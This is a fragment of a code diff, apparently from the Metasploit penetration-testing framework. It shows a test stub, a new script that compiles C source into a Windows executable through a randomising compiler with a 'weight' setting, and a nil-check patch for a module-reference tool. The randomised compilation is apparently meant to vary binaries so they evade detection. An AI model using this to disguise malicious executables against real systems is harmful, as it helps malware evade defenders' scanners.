||||||
|
expect(p.class).to eq(Metasm::C::Parser)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,37 @@
|
||||||
|
def help
|
||||||
|
puts "Usage:"
|
||||||
|
puts "#{__FILE__} [weight] [source code path] [output path]"
|
||||||
|
puts
|
||||||
|
puts "Example:"
|
||||||
|
puts "#{__FILE__} 80 /tmp/helloworld.c /tmp/helloworld.exe"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
help if ARGV.empty? || ARGV.include?('-h')
|
||||||
|
|
||||||
|
msfbase = __FILE__
|
||||||
|
while File.symlink?(msfbase)
|
||||||
|
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||||
|
end
|
||||||
|
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'metasploit/framework/compiler/windows'
|
||||||
|
|
||||||
|
weight = ARGV.shift
|
||||||
|
source_code_path = ARGV.shift
|
||||||
|
out_path = ARGV.shift
|
||||||
|
|
||||||
|
if source_code_path.nil? || source_code_path.empty? || !File.exists?(source_code_path)
|
||||||
|
puts "Please set the source code path"
|
||||||
|
exit
|
||||||
|
elsif out_path.nil? || out_path.empty?
|
||||||
|
puts "Please set the destination path"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
source_code = File.read(source_code_path)
|
||||||
|
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(out_path, source_code, weight: weight.to_i)
|
||||||
|
if File.exists?(out_path)
|
||||||
|
puts "File saved as #{out_path}"
|
||||||
|
end
|
|
@ -212,6 +212,11 @@ tbl = Rex::Text::Table.new(
|
||||||
bad_refs_count = 0
|
bad_refs_count = 0
|
||||||
|
|
||||||
$framework.modules.each { |name, mod|
|
$framework.modules.each { |name, mod|
|
||||||
|
if mod.nil?
|
||||||
|
elog("module_reference.rb is unable to load #{name}")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
next if match and not name =~ match
|
next if match and not name =~ match
|
||||||
|
|
||||||
x = mod.new
|
x = mod.new
|
||||||
|
|
Loading…
Reference in New Issue